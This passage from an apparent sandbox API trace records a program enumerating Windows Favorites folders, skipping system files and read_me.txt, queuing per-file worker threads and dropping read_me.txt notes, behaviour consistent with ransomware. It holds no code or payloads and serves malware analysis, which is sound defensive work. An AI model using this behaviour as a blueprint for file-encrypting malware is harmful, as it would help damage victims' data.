hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.538] GetProcessHeap () returned 0x540000 [0082.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0082.538] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.538] WriteFile (in: hFile=0x814, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0082.539] WriteFile (in: hFile=0x814, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0082.539] GetProcessHeap () returned 0x540000 [0082.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0082.539] GetProcessHeap () returned 0x540000 [0082.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0082.539] GetProcessHeap () returned 0x540000 [0082.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0082.539] CloseHandle (hObject=0x814) returned 1 [0082.540] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 44 [0085.801] GetProcessHeap () returned 0x540000 [0085.801] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44600d8 [0085.802] wnsprintfW (in: pszDest=0x44600d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\*") returned 32 [0085.802] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b05b7b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b05b7b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName=".", cAlternateFileName="")) returned 0x32fc1c8 [0085.802] wnsprintfW (in: pszDest=0x44600d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\.") returned 32 [0085.802] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b05b7b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b05b7b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0085.802] wnsprintfW (in: pszDest=0x44600d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\..") returned 33 [0085.803] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.803] wnsprintfW (in: pszDest=0x44600d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\desktop.ini") returned 42 [0085.803] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0085.804] StrStrW (lpFirst="desktop.ini", lpSrch="read_me.txt") returned 0x0 [0085.804] StrStrW (lpFirst="desktop.ini", lpSrch="autoexec.bat") returned 0x0 [0085.804] StrStrW (lpFirst="desktop.ini", lpSrch="desktop.ini") returned="desktop.ini" [0085.805] CloseHandle (hObject=0x8d4) returned 1 [0085.805] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1b035650, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b035650, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="Links", cAlternateFileName="")) returned 1 [0085.805] wnsprintfW (in: pszDest=0x44600d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Links") returned 36 [0085.805] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1b035650, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b035650, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0085.805] wnsprintfW (in: pszDest=0x44600d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites") returned 49 [0085.805] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1b05b7b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b05b7b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0085.805] wnsprintfW (in: pszDest=0x44600d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites") returned 43 [0085.805] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b05b7b0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b05b7b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b05b7b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0085.805] wnsprintfW (in: pszDest=0x44600d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\read_me.txt") returned 42 [0085.805] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\read_me.txt" (normalized: "c:\\users\\default\\favorites\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0085.805] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0085.805] CloseHandle (hObject=0x8d4) returned 1 [0085.805] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0085.805] wnsprintfW (in: pszDest=0x44600d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live") returned 43 [0085.805] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0085.805] FindClose (in: hFindFile=0x32fc1c8 | out: hFindFile=0x32fc1c8) returned 1 [0085.805] wnsprintfW (in: pszDest=0x44600d8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\read_me.txt") returned 42 [0085.805] GetProcessHeap () returned 0x540000 [0085.805] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44600d8 | out: hHeap=0x540000) returned 1 [0085.805] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 85 [0085.805] GetProcessHeap () returned 0x540000 [0085.805] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42820f8 | out: hHeap=0x540000) returned 1 [0085.811] GetProcessHeap () returned 0x540000 [0085.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4312140 [0085.812] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\*") returned 45 [0085.812] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1b05b7b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b05b7b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName=".", cAlternateFileName="")) returned 0x32fc1c8 [0085.812] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\.") returned 45 [0085.812] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1b05b7b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b05b7b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0085.812] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\..") returned 46 [0085.812] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0085.812] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url") returned 57 [0085.813] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0 [0085.813] StrStrW (lpFirst="msn autos.url", lpSrch="read_me.txt") returned 0x0 [0085.813] StrStrW (lpFirst="msn autos.url", lpSrch="autoexec.bat") returned 0x0 [0085.813] StrStrW (lpFirst="msn autos.url", lpSrch="desktop.ini") returned 0x0 [0085.813] StrStrW (lpFirst="msn autos.url", lpSrch="autorun.inf") returned 0x0 [0085.813] StrStrW (lpFirst="msn autos.url", lpSrch="ntuser.dat") returned 0x0 [0085.813] StrStrW (lpFirst="msn autos.url", lpSrch="iconcache.db") returned 0x0 [0085.813] StrStrW (lpFirst="msn autos.url", lpSrch="bootsect.bak") returned 0x0 [0085.813] StrStrW (lpFirst="msn autos.url", lpSrch="boot.ini") returned 0x0 [0085.813] StrStrW (lpFirst="msn autos.url", lpSrch="ntuser.dat.log") returned 0x0 [0085.813] StrStrW (lpFirst="msn autos.url", lpSrch="thumbs.db") returned 0x0 [0085.813] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 213 [0085.813] QueueUserWorkItem (Function=0x404e00, Context=0x8d0, Flags=0x0) returned 1 [0085.813] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0085.813] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url") returned 65 [0085.813] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0085.814] StrStrW (lpFirst="msn entertainment.url", lpSrch="read_me.txt") returned 0x0 [0085.814] StrStrW (lpFirst="msn entertainment.url", lpSrch="autoexec.bat") returned 0x0 [0085.814] StrStrW (lpFirst="msn entertainment.url", lpSrch="desktop.ini") returned 0x0 [0085.814] StrStrW (lpFirst="msn entertainment.url", lpSrch="autorun.inf") returned 0x0 [0085.814] StrStrW (lpFirst="msn entertainment.url", lpSrch="ntuser.dat") returned 0x0 [0085.814] StrStrW (lpFirst="msn entertainment.url", lpSrch="iconcache.db") returned 0x0 [0085.814] StrStrW (lpFirst="msn entertainment.url", lpSrch="bootsect.bak") returned 0x0 [0085.815] StrStrW (lpFirst="msn entertainment.url", lpSrch="boot.ini") returned 0x0 [0085.815] StrStrW (lpFirst="msn entertainment.url", lpSrch="ntuser.dat.log") returned 0x0 [0085.815] StrStrW (lpFirst="msn entertainment.url", lpSrch="thumbs.db") returned 0x0 [0085.815] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 214 [0085.815] QueueUserWorkItem (Function=0x404e00, Context=0x8cc, Flags=0x0) returned 1 [0085.815] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0085.815] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url") returned 57 [0085.815] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8 [0085.815] StrStrW (lpFirst="msn money.url", lpSrch="read_me.txt") returned 0x0 [0085.815] StrStrW (lpFirst="msn money.url", lpSrch="autoexec.bat") returned 0x0 [0085.815] StrStrW (lpFirst="msn money.url", lpSrch="desktop.ini") returned 0x0 [0085.815] StrStrW (lpFirst="msn money.url", lpSrch="autorun.inf") returned 0x0 [0085.815] StrStrW (lpFirst="msn money.url", lpSrch="ntuser.dat") returned 0x0 [0085.815] StrStrW (lpFirst="msn money.url", lpSrch="iconcache.db") returned 0x0 [0085.815] StrStrW (lpFirst="msn money.url", lpSrch="bootsect.bak") returned 0x0 [0085.815] StrStrW (lpFirst="msn money.url", lpSrch="boot.ini") returned 0x0 [0085.815] StrStrW (lpFirst="msn money.url", lpSrch="ntuser.dat.log") returned 0x0 [0085.815] StrStrW (lpFirst="msn money.url", lpSrch="thumbs.db") returned 0x0 [0085.815] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 215 [0085.815] QueueUserWorkItem (Function=0x404e00, Context=0x8c8, Flags=0x0) returned 1 [0085.816] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0085.816] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url") returned 58 [0085.816] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0085.816] StrStrW (lpFirst="msn sports.url", lpSrch="read_me.txt") returned 0x0 [0085.816] StrStrW (lpFirst="msn sports.url", lpSrch="autoexec.bat") returned 0x0 [0085.816] StrStrW (lpFirst="msn sports.url", lpSrch="desktop.ini") returned 0x0 [0085.816] StrStrW (lpFirst="msn sports.url", lpSrch="autorun.inf") returned 0x0 [0085.816] StrStrW (lpFirst="msn sports.url", lpSrch="ntuser.dat") returned 0x0 [0085.816] StrStrW (lpFirst="msn sports.url", lpSrch="iconcache.db") returned 0x0 [0085.816] StrStrW (lpFirst="msn sports.url", lpSrch="bootsect.bak") returned 0x0 [0085.816] StrStrW (lpFirst="msn sports.url", lpSrch="boot.ini") returned 0x0 [0085.816] StrStrW (lpFirst="msn sports.url", lpSrch="ntuser.dat.log") returned 0x0 [0085.816] StrStrW (lpFirst="msn sports.url", lpSrch="thumbs.db") returned 0x0 [0085.816] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 216 [0085.816] QueueUserWorkItem (Function=0x404e00, Context=0x8c4, Flags=0x0) returned 1 [0085.816] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0085.816] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url") returned 51 [0085.816] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0085.817] StrStrW (lpFirst="msn.url", lpSrch="read_me.txt") returned 0x0 [0085.817] StrStrW (lpFirst="msn.url", lpSrch="autoexec.bat") returned 0x0 [0085.817] StrStrW (lpFirst="msn.url", lpSrch="desktop.ini") returned 0x0 [0085.817] StrStrW (lpFirst="msn.url", lpSrch="autorun.inf") returned 0x0 [0085.817] StrStrW (lpFirst="msn.url", lpSrch="ntuser.dat") returned 0x0 [0085.817] StrStrW (lpFirst="msn.url", lpSrch="iconcache.db") returned 0x0 [0085.817] StrStrW (lpFirst="msn.url", lpSrch="bootsect.bak") returned 0x0 [0085.817] StrStrW (lpFirst="msn.url", lpSrch="boot.ini") returned 0x0 [0085.817] StrStrW (lpFirst="msn.url", lpSrch="ntuser.dat.log") returned 0x0 [0085.818] StrStrW (lpFirst="msn.url", lpSrch="thumbs.db") returned 0x0 [0085.818] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 217 [0085.818] QueueUserWorkItem (Function=0x404e00, Context=0x8c0, Flags=0x0) returned 1 [0085.818] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0085.818] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url") returned 58 [0085.818] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0085.818] StrStrW (lpFirst="msnbc news.url", lpSrch="read_me.txt") returned 0x0 [0085.818] StrStrW (lpFirst="msnbc news.url", lpSrch="autoexec.bat") returned 0x0 [0085.818] StrStrW (lpFirst="msnbc news.url", lpSrch="desktop.ini") returned 0x0 [0085.818] StrStrW (lpFirst="msnbc news.url", lpSrch="autorun.inf") returned 0x0 [0085.818] StrStrW (lpFirst="msnbc news.url", lpSrch="ntuser.dat") returned 0x0 [0085.818] StrStrW (lpFirst="msnbc news.url", lpSrch="iconcache.db") returned 0x0 [0085.818] StrStrW (lpFirst="msnbc news.url", lpSrch="bootsect.bak") returned 0x0 [0085.818] StrStrW (lpFirst="msnbc news.url", lpSrch="boot.ini") returned 0x0 [0085.818] StrStrW (lpFirst="msnbc news.url", lpSrch="ntuser.dat.log") returned 0x0 [0085.818] StrStrW (lpFirst="msnbc news.url", lpSrch="thumbs.db") returned 0x0 [0085.818] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 218 [0085.818] QueueUserWorkItem (Function=0x404e00, Context=0x8bc, Flags=0x0) returned 1 [0085.818] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b05b7b0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b05b7b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b05b7b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0085.818] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\read_me.txt") returned 55 [0085.819] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\read_me.txt" (normalized: "c:\\users\\default\\favorites\\msn websites\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0085.819] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0085.819] CloseHandle (hObject=0x8b8) returned 1 [0085.819] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b05b7b0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b05b7b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b05b7b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0085.819] FindClose (in: hFindFile=0x32fc1c8 | out: hFindFile=0x32fc1c8) returned 1 [0085.819] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\read_me.txt" | out: 